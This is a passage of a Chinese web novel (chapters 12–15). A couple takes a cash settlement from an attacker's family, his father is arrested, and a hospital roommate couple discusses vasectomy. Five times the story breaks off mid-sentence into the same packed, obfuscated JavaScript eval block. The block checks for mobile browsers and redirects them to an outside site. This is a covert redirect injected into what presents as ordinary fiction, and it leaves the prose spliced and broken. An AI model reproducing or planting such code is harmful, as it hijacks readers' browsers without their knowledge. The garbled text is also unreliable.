不然别人找上门,兄弟夫妻俩露出破绽的话,也许会被连累。 他问赵如月:“你打算去哪里躲?” “去浙江吧,浙江义乌。”赵如月早就想好了,还做好了短时间内没办法回老家的准备,既然回不了老家,那就得去经济发达的地区,这样不怕找不到工作空吃老本。 北方太远,他们也不一定能适应,江浙正好。 赵如月继续说着她的另一个打算:“那边有很多小商品卖,我们把还债的钱留出来,再留一部分钱应急,剩下的钱,等这边风头过去,可以在义乌批发一些小东西回老家卖,我们老家比大城市落后不少,小商品种类也不多,很多在大城市里过时的东西,可能在老家刚流行起来,带东西回去不愁卖,也不怕赔本,你觉得怎么样?” 其实她更想去羊城,因为羊城离老家近,可羊城离鹏城更近,只能无奈放弃。 宁绍明没意见,他正低着头剥鸡皮,把赵如月不爱吃的鸡皮放自己碗里,鸡肉给她,抬头擦了擦手说:“我觉得很好,就按你说的做吧,等吃完午饭,我就去汽车客运总站买票。” 他已经不是当初那个没出过远门,什么都不会的小镇青年。 现在多少算是有一门能赚钱的手艺傍身,这年头手艺人去哪里都饿不死,因此对于去陌生的地方没那么排斥畏惧。 赵如月摇头:“我们不买票,买票容易暴露,我们站外上车。” 这年头坐长途汽车不一定需要身份证。 他们从老家来鹏城打工的时候,坐的长途卧铺大巴车就是带他们来的老乡存了司机的号码,提前联系司机。 然后去附近大巴途径的县道路口等着,直接给钱上车。 这样乘车比去车站买票更便宜些,只是这样有风险。 在汽车客运站买票,车票自带保险,站外上车没有保险,万一出事,赔都不知道找谁赔,而且车上超员的话,半路遇上交警检查有可能会被赶下车。 另外,也可以联系私人拉客的大巴车,这又比站外上车更便宜。 不过坐私人车,风险更大,还有可能会遇到不怀好意的司机,被‘卖猪仔’。 不管用这两种方式的哪一种,全都有一个共同点——司机为了多揽客和省高速路费,会绕远路。 他们为了多挣钱,还会走一些坑坑洼洼的三级路和县道,半途超载捡客。 中途下车吃饭上厕所的时候,乘客得自己看着时间盯着车。 司机开车前会大概点一下人数,但是人不够,不会特地点去找,也不会一直等人,等一会儿人没来就开车,车开了谁没赶上算自己倒霉。 总之,上这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428321|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车后,想找到他们难上加难,要是走到某个县镇或者收费站,再在那些地方换一次车,更不可能找到了。 宁绍明觉得站外上车不安全,如果是他自己一个人坐车,他为了省钱,会选择这样更便宜的方式,但带着老婆一起不行。 刚来鹏城的时候是没出过远门,连县城都极少去,什么都不懂,也是没得选,要配合带他们来的老乡。 别人带他们出来,当然是别人选什么出行方式他们就跟着,不能多事。 不过现在既然有得选,他更倾向于更安全的出行方式。 这次赵如月没能说服他,宁绍明坚持要去汽车客运站买票:“既然都要中途换车,我们买了票,中途换车跟站外上车区别也不大。” 赵如月本来还想反驳,但她想了想,宁绍明提出的方法,除了多花点钱,反而比她想的更安全,他们现在又不缺钱了,没必要冒险。 于是反驳的话说出口时变成了答应:“那好吧,这事听你的。” 这边夫妻俩有商有量,温馨地吃着饭。 另一边,高父已经回到家。 一进门就听到高母对着电话在喊:“喂?喂!是阿强吗?什么?阿强不在啊!” 对面不知道说了什么,她语气变得暴躁起来,对着电话那头喊得越发大声:“那他什么时候回来?不知道?你现在马上去找他,我有事……喂?喂!喂!” 咔哒,嘟——嘟——嘟—— 电话被人按掉,高母对那边喊了好几声才发现,她猛地抬头看向始作俑者。 “你个死老野,是不是有病啊!”她骂道,“我正着急找人帮忙收拾那个狐狸精,你按掉我电话干什么?脑子有坑是吧!” 高父嗤笑一声:“找什么找,等你找到人,黄花菜都凉了!” 他掏出一个纸质文件袋,啪地往桌上一拍:“好好看看里面装的是什么!” 说着得意地一屁股坐到茶几旁边的椅子上,翘起二郎腿,端起茶杯,轻轻吹着茶水里面根本没有的茶沫。 高母狐疑地瞥他一眼,拿起文件袋打开,抽出里面的文件:“不就是昨天打印的谅解书!切……我当时什么好东西,打印一份没用的东西也拿来邀功。” 早上她没办成事,一气之下把带去的谅解书给撕碎了,以为高父自己又去印了一张回来表功。 高父以前不靠谱以及不顾家的程度,让高母完全没把他往拿到赵如月签字谅解书的那方面去想。 她不屑地撇嘴:“这东西家里十几份,拿去上厕所能把你屁.眼都擦破,有本事你让那个狐狸精签名再拿回来……” “嘶——”高母倒吸一口气,震惊得声音都尖锐起来,“还真签了!?” 她不可置信地盯着谅解书上‘赵如月’那三个字看,眼睛一眨不眨。 半晌,回过神来的时候眼睛都酸了,她揉着泛酸的眼睛,还是有些不敢相信:“你真拿到害儿子那个狐狸精的签字了?怎么办到的?” 高父如今以家里的大功臣自居,不理会高母的着急,优哉游哉地喝了一口茶,慢腾腾地咽下去才比出三个手指:“三十万,现金!” 12. 第 12 章 高母倒吸一口气:“三十万!她可真敢狮子大开口!你真给了?不讲讲价?” 高父被她讲价的言论哽了一下,没好气地说:“还讲价?看你那小气的样子!买东西能讲价,买儿子命也是能讲价的?” 他又嫌弃地冷哼一声:“三十万重要还是儿子重要,你自己难道掂量不明白?真是头发长见识短,小事斤斤计较就算了,遇上大事还拎不清!” “当然是儿子重要,但也不至于要三十万那么多吧……”自己没办成的事,让老头子办成了,这让她在老头子面前暂时硬气不起来,声音稍弱,“这么多钱给狐狸精还不如找人收拾她,再给儿子找个好律师,找人加上打官司、加上打完官司赔给她的那点钱,也许连十五万都花不到。” “蠢!蠢材想法!”高父仗着自己如今是家里的大功臣,气焰十分之高,毫不客气地指着高母的鼻子骂, “能不用上公堂为什么还要让儿子糟那份罪?庭下和解才是对儿子最有利的做法,我们再花点钱找关系打点一下,儿子就不用留下案底,要不然有了案底,往后影响三代人,子孙后代怎么办!” 高母顺着他的话一想:“还真是……”即使她不想承认,心里也明白,自己儿子不太争气是事实。 现在她就盼着儿子早点结婚,早点给她生个大胖孙子,以后好好培养孙子,保不齐还能享孙子的福。 “你说的有道理,那我们现在怎么办?这就拿着谅解书找人帮忙去?”高母问。 高父说:“先不着急,你先去拿一张大概三十万的存折给我,你也知道我身上没多少钱,换谅解书签字那三十万是我临时跟朋友借的,答应人家今天一定还上,可不能说话不算话,让人看不起我。” “就这么着急?”高母嘀嘀咕咕犹犹豫豫的,看起来不太愿意,“都说欠债的是大爷,借来的钱,什么时候还不行,我们家正有急事要处理呢,又不是还不起……不如再拖一段时间,我去跟女儿说说……” 不能马上拿到钱,高父恼火了,一拍桌子:“叫你拿钱就拿钱,废什么话!拖着不还钱,我以后名声臭了,出去外面谁还愿意搭理我?还去跟女儿说!这种事你去跟她说,你看她数落不数落你!” 高母被他突然发大火吓了一跳,平时她仗着女儿嫁得好又向着自己,怎么趾高气昂都没事,前提是没真遇上老头发火。 想了想,三十万对女儿来说不算什么,女儿这次还真有可能站在老头那边。 高母只能弱弱地说了一句:“发什么火啊,拿存着就拿呗,我又不是不给,这么大年纪了,火气太旺伤身。”说着赶忙站起身往房间走,给他拿存折。 拿到存折和密码,高父心情舒畅了,指挥高母去联系女儿:“我们这边的关系没有女儿那边的强,你现在去给女儿打个电话吧,叫她过来一趟,对了,顺便让她带个律师来。” 两口子算得精,律师让女儿找,律师费自然是女儿帮忙付了,毕竟是亲弟弟的事,当姐姐的就该多帮衬,以后才能有个娘家回。 高广强的姐姐听说弟弟的事情有进展,立刻放下手里的事赶去相熟的律师事务所,带上一直跟她丈夫的工厂有合作的律师,一起往她娘家赶。 她一到,高父立马把那张高母一拿到就舍不得放开手的谅解书抢到自己手上,脸上带着一个父亲面对女儿不该有的谄媚笑容,迎上去邀功:“淑仪回来啦,你看看这是什么!” 他说着把那张谅解书递过去:“我好不容易才拿到的!” “是啊,”高母港损失了三十万,急忙上前跟女儿诉苦,“你是不知道那个害你大哥被抓的狐狸精有多贪财多可恶!她竟然要……” “六十六万!”高父隐晦地给高母使了个眼色。 高母一愣,但毕竟是多年夫妻,一张床上睡不出两种人,很快领会了丈夫的意思:“是啊是啊,我们去找那个害你大哥被抓的狐狸精谈的时候,她说什么你大哥害得她没了一个孩子,损阴德,必须要给个吉利的数字驱驱霉气。 本来她狮子大开口,说要八十八万八千八百八十八!八十八万啊,她怎么不去抢!卖了她全家都不值八十八万! 后来我跟她讲价,硬是给讲到了六十六万,再低他们不愿意了,说勉强接受个六六大顺。” “唉,”高父接着老妻的话叹一口气,“我们这两天为了给你弟弟跑关系,到处花钱、欠人情,家里只剩下十来万能用的现钱,去找那个女人谈谅解书的时候,全部带过去了。 我以为那对夫妻乡下来的,没见过什么世面,十几万怎么也足够,谁知道他们胃口那么大,也不知道是不是有人在背后教,张口就是八十八万。 带去的钱不够,又怕给你家里打电话借钱你家婆有意见,到时候她又为难你,剩下的钱我跟你妈只能找别人到处凑,幸好没耽误事。” 高淑仪看着父母憔悴的面容,想到他们到处借钱会遭受多少白眼就心疼不已:“爸妈,辛苦你们了,本该在家享清福的年纪,却还要这么操心,你们以后不用怕我家婆说,有事一定要及时联系我,别自己硬抗,不然我会更担心。” 高父摇头叹息:“那不行,那样对你不好,现在家里欠了债,肯定会连累你在婆家被人看不起,我们再麻烦你,只会让你在婆家更矮人一头。” 高淑仪毫不在意地一挥手:“那点钱算什么,我先帮你们把借别人的钱还掉,等我弟弟出来,你们让他慢慢还我就是了,自家人也不催他,他可以等手头宽松点再还我。” 高父高母心头一喜,互相对视一眼,转头立刻眼含热泪地握住女儿的手,哽咽道:“要么老话说女儿是父母的小棉袄呢,还是女儿贴心,要不是还有你,我们都不知道该怎么办,你弟弟能有你一半懂事就好了。” 能帮上父母,又得到了父母的夸奖,高淑仪感觉如同飘在云端,整个人晕晕乎乎心里舒坦极了。 高淑仪把那谅解书拿过来看了一眼,没看出什么不妥,便转身递给跟在自己身后的律师:“麻烦吴律师帮忙看看。” 转头安抚对此有点不高兴的父亲,“爸,我不是怀疑你们带回来的谅解书是假的,而是这么重要的文件,最好先给律师看看,毕竟人家是专业人士,我们什么都不懂,被人骗点钱都不算什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428322|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,耽误救广强就不好了。” 高父讪讪道:“对对对,你说得有道理,是该让专业人士检查一下,你让他认真看看。” 律师这一看,还真看出点问题:“谅解书内容是没什么问题,但是这个签名……” 高父紧张地凑近:“这个签名怎么了?我亲眼看她签的,绝对没问题,也不是花钱找人伪造的!” 他凭着这一功劳在女儿那里捞的那笔钱还没到手,可不能出什么意外! “不是什么大问题,”律师笑道,“只是需要找签字人补按一下手印。” 高父长舒一口气:“那就好那就好,我这就去找她补按手印,她收了我们那么多钱,可不能不给我把事情办好!” 高父拿起那张谅解书,把它重新塞进文件袋就疾步往外走。 走到门口发现自家门口听着一辆警车,有警察正从车上下来。 “你们这是……” 警察看了一下门牌号,再对比一下他的长相,出示了证件问:“你是高大海吧?” “我是高大海,你们找我有什么事?难道是我儿子又出意外了?”高父话音刚落,就看到警察掏出一把‘银手镯’。 咔嚓一下,‘银手镯’套在他双手上,震惊得他半晌说不出话来。 * 医院病房里。 赵如月和宁绍明吃过午饭,商量好之后,宁绍明让赵如月休息,自己抓紧时间去汽车客运总站,那边才有前往浙江的长途客车。 虽然高家拿到谅解书后,高母不一定还会找人来对他们下黑手,但是万一呢? 更何况赵如月和宁绍明不敢赌,高父会不会为了逼赵如月就范,也用高母那个方法。 汽车客运总站位置接近郊区了,距离赵如月住院的医院有点远,坐公交过去差不多要一个半小时,一来一回,加上排队买票的时间,三个小时就过去了。 买完票他还要买点路上要用的东西,有个老乡租的房子在客运站附近,为免那些东西带到医院太过显眼,宁绍明就把准备在路上用的东西先放在那个老乡家里。 他回到医院的时候,已经是下午六点钟。 今天晚饭肯定是来不及回出租房做了,他本来想拐去医院食堂买饭,谁知在医院门口遇上了陆发夫妻。 他们夫妻俩之前送了一锅猪脚姜后,还来医院探望过赵如月一次,后来担心来得太频繁影响她养病,才没再来。 陆发看到宁绍明就抬起胳膊用力招手:“小宁,这边这边,我看你今晚没回去做饭就来看看,顺便给你们带饭,还有给小赵准备了点老母鸡汤补补身体。” 宁绍明有些不好意思:“真是麻烦你了,今天我有点事要办才没能回去。” 陆发的妻子是个十分温柔慈祥的老太太,闻言笑着说:“说什么麻烦,我们自家也要吃晚饭的,多做两个菜也就是顺带手的事。” 三人一起回了病房,寒暄过后,陆发的妻子跟赵如月聊天。 陆发拉着宁绍明出去,找了个没人的地方,放出一个大雷:“我跟你说,高广强那个死烂仔他爸,也被抓了!” 13. 第 13 章 看到宁绍明惊掉下巴的样子,陆发笑得有些小得意:“嘿嘿,我就猜你还不知道!”还是自己消息灵通! “他怎么也被抓了?”宁绍明想起赵如月说过,那老头跟高广强一个德性,猜测道:“难不成也跟高广强那个案子有关?高家人全都涉及其中挣黑心钱了?” 陆发心里倒是希望能养出高广强那种人的高家全被抓紧去,可世上哪能事事随自己心意: “高家是不是所有人都涉及其中我不知道,现在只知道高广强他爸也参与了那些影片的拍摄,具体细节我外甥女说需要保密,也没跟我说。” 在陆发这里得到这个好消息,等他们夫妻俩一告辞离开医院,宁绍明便迫不及待地把这件事告诉赵如月。 “我们还要走吗?”宁绍明说完后问道。 赵如月听到宁绍明说连高父都被抓了,心里诧异得很。 她发现,自从那天自己豁出去用命拼了一把之后,事情好像已经往不可预计的方向狂奔而去。 上辈子没有孙洪光被抓引出走私案,更没有高父入狱这回事。 接下来该怎么做,她心里有点没底了,她怕自己失去对未来先知先觉的优势之后,会做出错误的决定。 毕竟上辈子为儿女、为家庭付出一切,依然过得那么失败,这让她在无法预知未来的情况下,对自己做出的决定非常没有信心。 赵如月倒是知道以后国家会发展得越来越好,也知道很多未来的大趋势,什么炒房、开厂、互联网、电商网购、自媒体、直播带货等等。 毕竟后来网上有很多人发帖子、发视频盘点什么我们错过的风口之类的。 可是那些大事距离打工一个月拼命加班只能挣一千多、想尽快还债得靠豁出去一条命换钱,才换到十万块的她来说太过遥远。 她依然是一个普通人,每天面对得更多的是大部分普通人平平淡淡的日常生活中普普通通的事。 可也正是这些再平常普通不过的事让赵如月焦虑。 因为她无法预料某一件在自己看来极为普通的事,被做出错误决定后,会不会对自己以及家人的未来引发的一系列不良反应,让自己又重蹈覆辙。 “我……”她不敢抬头,怕自己与丈夫对视眼中会流露出现在不该有的情绪。 踌躇半晌,赵如月才犹犹豫豫地把话说完:“这会儿我还真不知道该怎么办了,你觉得呢?” 她想听听宁绍明怎么看。 刚刚脑中思绪纷杂时,赵如月想起自己结婚前一天晚上,她跟母亲、姐姐还有妹妹一起睡,当晚她们谁也睡不着,一直聊到凌晨。 当时她即将要到熟悉而又陌生的婆家去,面对崭新而未知的婚后生活,心中既期待又忐忑。 赵如月依稀记得自己的母亲是这么说的:“我一个只上过扫盲班,没正经上过学的农村妇女没什么太多道理能教你,我只知道一个:这夫妻之间么,遇到事情应该互相商量着去做,别太自作主张,有商有量日子才能过得长久,结婚除了钟意这个人,也就是图个遇到事情可以互相扶持。” 母亲总是喜欢妄自菲薄,但她觉得这小老太太是有大智慧的人。 至少自己母亲的一辈子每个子女都是真心的十分孝顺,她老人家也是寿终正寝,没遇上过什么大病大痛,这一点她老人家比自己强多了。 宁绍明想了想说:“高家不再来找我们麻烦的话,其实我不太想走。” 之前那么果断地赞成赵如月提出要先离开鹏城,去外地避一避的想法,主要是担心赵如月的人身安全。 现在高家人对付他们的两个动机:谅解书和高父的龌龊心思,基本已经解决。 没了对付他们的动机,高家人对他们动手的概率应该变得很低了,宁绍明就觉得他们其实没有必要再跑到那么远的地方去。 现在已经十一月底,再过一个多月就要过年了,两个孩子还小,他舍不得孩子过年都没有父母陪在身边,那样孩子多可怜啊! 而且到时候跑到浙江去,不一定有当初刚来鹏城,有老乡帮衬时那么顺利和容易,可能刚安顿下来没多久就要回家过年。 人生地不熟的,他们在那边想回家过年,会比从鹏城回去更远,也更麻烦,中途需要不止一次地转车,还不一定能买得到票。 而在鹏城,买不到长途汽车票,还可以跟老乡们合伙包车回去,便宜安全又方便。 另外,宁绍明其实还是有点舍不得酒店后厨的工作。 即便现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428323|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们拿到了一笔在他看来是巨额的赔偿款,他依然想靠自己的能力自食其力,而不是完全只靠老婆的赔偿款躺着过日子。 宁绍明说完那些想法后,想了想又补充:“光靠猜高家对我们动手的概率降低也不够保险,要不我们去一趟公安局,找负责你这个案子的警察,跟他们说一下高广强父母来找我们的事? 他们给我们主持公道,我们这边签了谅解书,总得去跟他们说一声,免得到时候他们被谅解书打个措手不及。” 赵如月听了宁绍明的话,觉得果然遇上自己拿不定主意的事,就该找个靠谱的人商量一下:“那就按照你说的办,我们这就去公安局!” 她想着为了彻底得到人身安全,只能有所取舍了。 说完就打算下床换身能出门的衣服。 宁绍明忙拦住她:“你身上的伤还没好全呢,躺下好好歇着,我一个人去就行。” 抬眼对上丈夫坚持的神情,赵如月只好答应:“那……那好吧。”一个人去应该不会出什么事,他们又没犯法,警察也不是是非不分。 赵如月把今天刚存下的那十万块钱存折拿出来交给他:“要是警察那边不让拿这个钱,你就退回去,大不了我们多等等,等到结案后,总能拿到赔偿款,只是金额肯定没那么多了,不过就算再少,也能覆盖掉医药费、还上我们在老家欠下的钱。” 这种涉及人身伤害赔偿的事,赵如月这是两辈子第一次遇到,她也没学过法,连民法典都没囫囵个看过。 只在网上发帖询问过儿女不孝,法律治不治他们,又怎么治他们之类的事,更别说宁绍明这个早早没了的。 可以说,夫妻俩现在都是法盲,他们以为私下收钱签谅解书这事,是法律不允许的,只是民不举官不究。 他们现在算是自己主动送上门,心里免不了犯嘀咕,忍不住为自己多想、多打算。 宁绍明心上忐忑,但行动上没磨叽,一商量好,立刻带上存折前往公安局。 公安局离赵如月所在的医院不远。 到了地方,很多办案人员都还在加班。 他作为受害者的家属,一说自己有跟案子有关的事情要说,就顺利地见到了当初负责给赵如月做笔录的警察。 14. 第 14 章 见到警察,宁绍明心里其实很紧张,但他天生一副正派脸,不笑的时候还挺能唬人,完全看不出一点紧张的样子。 宁绍明先是把跟案子有关的事,也就是高母打算找人来对付自己和赵如月,他觉得高母有可能涉黑,以及赵如月对高父可能也参与过高广强影碟案的猜测说了。 高父那个事,警察这边已经证实是真的,他确实有参与到高广强那个案子里。 只是高父被抓那事,陆发刚跟宁绍明说了没多久,宁绍明觉得警察不会知道自己知道了高父被抓的事,也就拿出来说了。 要不然只有高母那件自己猜测的、不知道真假的疑似涉黑的事,他想起自己来找人家警方的借口都感觉有点亏心。 警察很淡定地表示,这两件事他们都会派人去查,只是高母那件事,对方还没真正地对他们实施侵害,警方也不能对她采取什么措施。 他还给宁绍明分析:高母的目的是既然拿到谅解书,那么在现在已经拿到谅解书的情况下,她大概不会想再节外生枝,他们其实不用太过担心。 而高父那件事,警官没有跟宁绍明多说。 抓捕高父的那些线索和证据,是查抄高广强存放在其他地方的碟片时查到的。 他们这些办案人员查看那些碟片的时候,被里面的猎奇画面恶心得不轻,好在收获也不少。 不过这些查案的细节就没必要跟受害者家属说了。 这位警官本来以为宁绍明那些关于高母的猜测,只是为了增加他们对这件事的重视程度而有些夸大。 谁知后来查高家剩下的人时,还真查到高母有个娘家亲戚是□□成员,身上还背着好几条人命,宁绍明夫妻俩算是运气好,躲过了一劫。 说完那些,宁绍明脸上带着羞愧的神色,有些不好意思地拿出带来的存折,放在桌上:“这里面是高家人给的钱。” 然后询问起谅解书和赔偿款的事。 他是真不知道他们俩拿高家的这些钱,是否是违法行为,签谅解书,又会不会影响到警方办案。 宁绍明说话不会拐弯抹角,便直截了当地问出心中的疑惑与不安:“如果这钱不能收的话,我们就把钱退回去,应该不会被抓去坐牢吧?” 警察听了宁绍明的这个困扰后笑了笑,告诉他:不少犯案人员的家属为了给家人减刑,多数都会私下找受害者、或者受害者家属,花钱去获得谅解书,进而争取庭下和解。 犯案人员家属没有用违法手段,他们就管不着这个,只要双方协商好,这就是双方你情我愿的事。 至于对其他案子的影响,其实也几乎没有,赵如月签的谅解书,只涉及到她自己这一个案子的刑罚裁量。 虽然赵如月没签的话,三个案子加在一起,高广强的罪责会更重,但高广强身上背着的另外两个案子,牵涉人员更多、犯罪情节也更严重。 这已经注定了,不管有没有赵如月那个案子,他都得吃一粒花生米。 之前高家人不知后两个案子的存在,可能还对利用谅解书把高广强捞出去这事心存希望。 想必高广强他爸被抓之后,再过不了多久,高家剩下的人就会知道,找人签谅解书,那是白费功夫、白花钱。 到时候高家人大概没心情,没时间,也更没必要去找赵如月这个小案子受害者的麻烦了。 得到想要的答案,宁绍明才算是彻底放下了悬着的心。 离开前,他止不住地对警察鞠躬道谢。 * 回到医院病房,宁绍明开门走进去就对上了赵如月期盼的目光。 他无奈地笑了笑从口袋里掏出存折递给她: “你个小财迷,我问过了,收这些钱没事,以后高家那边的事跟我们没多少关系了,往后有更大的麻烦等着他们呢! 对了,我刚才路过护士站,碰巧遇到管床护士,她跟我说等下有个病人会住进来,让我把另一张病床上自己的私人物品收一收。 别盯着那存折看了,再看也看不出朵花来,赶紧收起来吧,别让新来的病友看到。” 赵如月住的这间双人间病房,之前没有其他病人来,就她一个住着。 医院的病床是单人床,两个人挤着睡是勉强能睡,但肯定不太舒服。 宁绍明陪夜的时候就在另一张病床上休息,很多病人家属为了图方便都这样,只不过有新病人入住的时候,必须要及时腾出来。 宁绍明东西不多,就一个枕头一床晚上盖的被子,收拾得很快。 他收拾好东西过了几分钟,护士就来了,给病床换上了一张新床单。 同病房的病友很快入住,也是一对夫妻,看起来跟他们年龄相仿。 双方都不是多事爱打听的人,互相客客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428324|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气气地打了个招呼后,各做各的互不干扰。 病房里有其他人,说起话来就没那么方便。 赵如月小声地跟宁绍明商量:“你跟酒店请假好几天了,既然不打算辞工,就要尽快回去上班才行,要不然领导肯定有意见,我恢复得差不多了,要不明天或者后天我就出院吧?” “再多住几天吧,不用担心酒店那边有意见,我入职后大部分休息日都给人替班,攒下不少假,到现在还没用完呢,”宁绍明还是不同意,找了个话题岔开,“我回来的时候看到医院门口有人卖烤红薯,你想吃吗?我去给你买一个?” 赵如月一看他这样子就知道,这事没得商量,好久没吃烤红薯,听他一说,还真馋了:“好吧,有点想吃。” 她看一眼对床的病友,感觉自己一个人跟陌生人在病房里挺不自在的:“我跟你一起去,顺便出去散散步透透气,在床上躺太久,骨头都僵了。” 今天外面不冷,也没风,在医院附近走走,散散步还是可以的,宁绍明这次没再拒绝,再拒绝老婆就要发飙了。 两人在外面转了一圈,准备回来才买了个红薯。 一掰两半,一人捧着一半边吃边往病房走。 走到病房门口,正准备进去,里面说话的声音骤然拔高。 女声怒火十足地在控诉:“两个人一起做的事情,凭什么只有我一次又一次地受苦遭罪!姓石的我告诉你,这次你必须结扎,要不然我们就离婚!” 接着是气势很弱的男声:“你小声点,别嚷嚷得全医院都知道了,这是什么光彩的事吗?” “什么光彩不光彩的,我结扎的时候怎么不说这种事不光彩?反正我把话放这儿了,你不结扎我们就离婚!” 门外,赵如月和宁绍明面面相觑。 不知道为什么,赵如月觉得宁绍明难得的有些目光游移,眼神里似乎还带着点心虚。 但那丁点异样消失的速度太快,快得让她怀疑是不是自己的错觉。 半夜,一直在惦记宁绍明那点异样,以至于完全睡不着的赵如月忽然灵光一闪。 她摇醒宁绍明,在他耳边小声问:“你一直不同意我出院,不会是在考虑,要不要去做今天对床那对夫妻讨论的那个事吧?” 原本还迷迷糊糊半睡半醒的宁绍明听到这话,顿时一个激灵,睡意瞬间消散了个一干二净。 15. 第 15 章 黑暗中看不清对方的脸,赵如月猜宁绍明的脸肯定憋红了。 他支支吾吾半天,憋出声如细蚊的一句:“你别担心,我问过医生,医生说不影响那什么……的。” 赵如月:“……”她问的是这个事吗? 不等赵如月说话,对床突然有人插了一句嘴:“兄弟,真不影响啊?” 赵如月和宁绍明:“????!!!!”他们不是睡着了吗?说话这么小声也能听见,顺风耳投胎吗? 刚刚明明还听见对床悠长的呼吸声和小呼噜声,什么时候停下的? 睡觉前熄掉的灯重新亮起。 病房里,两对夫妻双双坐在各自的床位上,面对面看着对面床。 赵如月不知道事情怎么就发展成了病房卧谈会。 一开始挺尴尬的,毕竟刚认识一天,还不熟。 关着灯时没觉得有什么,准备认真聊聊那事,但灯一打开,却一时间都不知道该怎么开口。 最后还是两个女人先开口打破沉默,互通姓名后,聊起双方的住院的原因。 这一聊赵如月才知道,对面病友叫章雯,也是因为意外怀孕流产才住院。 赵如月摔下楼流产,身上还有其他外伤,而病友是上环后又意外怀孕,还是很危险的宫外孕。 不过幸好发现得比较早,没造成严重后果。 不同的经过,又都同样从鬼门关走过一遭,大难不死,还真说不好谁比谁更倒霉。 两人说完都是一阵唏嘘:“当女人真遭罪啊。” 说完不约而同地用不善的目光看向在场的两个男人,把他们俩看得汗毛直立。 宁绍明对赵如月解释,自己之前有点心虚的原因:“我主要是担心你对这种手术不了解,不同意我去做,所以想来个先斩后奏,我保证,从我们认识到结婚到现在,我就这一件事瞒着你自作主张。” 他对老婆怀孕又流产这件事很自责,那天赶来医院,听护士说完赵如月病情之后,就很想知道怎样才能避免这样的事情再次发生。 后来偷偷去找了医生问,问完没怎么犹豫就做下了要做这个手术的决定,只是一直不敢、也不知道怎么跟赵如月提。 还真别说,宁绍明作为丈夫确实很了解赵如月。 赵如月听完宁绍明的解释,原本下意识想反驳自己不会那样,可她回忆了一下,上辈子这个时候没有如今阅历的自己。 她不得不承认宁绍明的担忧不是多余。 上辈子这个时候的自己,没见过什么世面,阅历也不足,又不怎么爱读书,知识储备和阅历没有现在多,还真有很大可能,会因为没什么见识而反对他去做手术。 赵如月:“念在你是初犯的份上,这回先不跟你计较,再有下回,这么大的事不跟我商量,可没那么容易糊弄过去!” 章雯看人家两人三言两语就解决了一件事,目光如炬地瞪向自己丈夫夏继军。 夏继军顶着媳妇儿的眼神,摸了摸鼻子干巴巴地说道:“那手术做就做呗,我本来对做结扎手术也不是多排斥,之前也没说不愿意做。” 章雯冲他翻了个白眼:“那你之前干嘛叽叽歪歪的?早答应我会跟你吵?” “那不是这种手术没什么人做么,我一个大男人,去找医生说我要做这个手术,保不齐刚从医生的诊室出来,就得在整个医院出名!” 说白了,还是面子以及合不合群的问题。 即使自己本人不排斥做手术,但身边没有同样经历的人,夏继军就觉得只自己一个人做,那以后自己在男人堆里就像个异类。 虽然只要他们夫妻俩回去后不说,熟人就不知道,医生也说对夫妻生活没什么影响,可人最怕过不了自己心里那一关。 以后但凡他那方面有点什么小毛病,他保不齐都得往这个手术上想。 天长日久的,万一对要求自己做这个手术的老婆生出些许埋怨来,难免影响到夫妻关系,他以后还想长长久久地跟媳妇儿好好过日子呢。 不过现在有个手术搭子,感觉就不一样了。 别的不说,至少术后,能有个共同经历的人互相探讨一下。 此时夏继军看宁绍明,那就是一个共患难的知己。 他心里感慨着,正要找宁绍明进行一场男人间的对话,一转头人家已经搂着老婆躺下了。 注意到夏继军看向自己,宁绍明指了指电灯开关:“太晚了,熬夜伤身,我们先睡了,你们睡觉前记得关一下灯。” 夏继军:“……” 第二天一大早。 吃过早饭后,两个大男人一起狗狗祟祟地去找医生商量手术的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 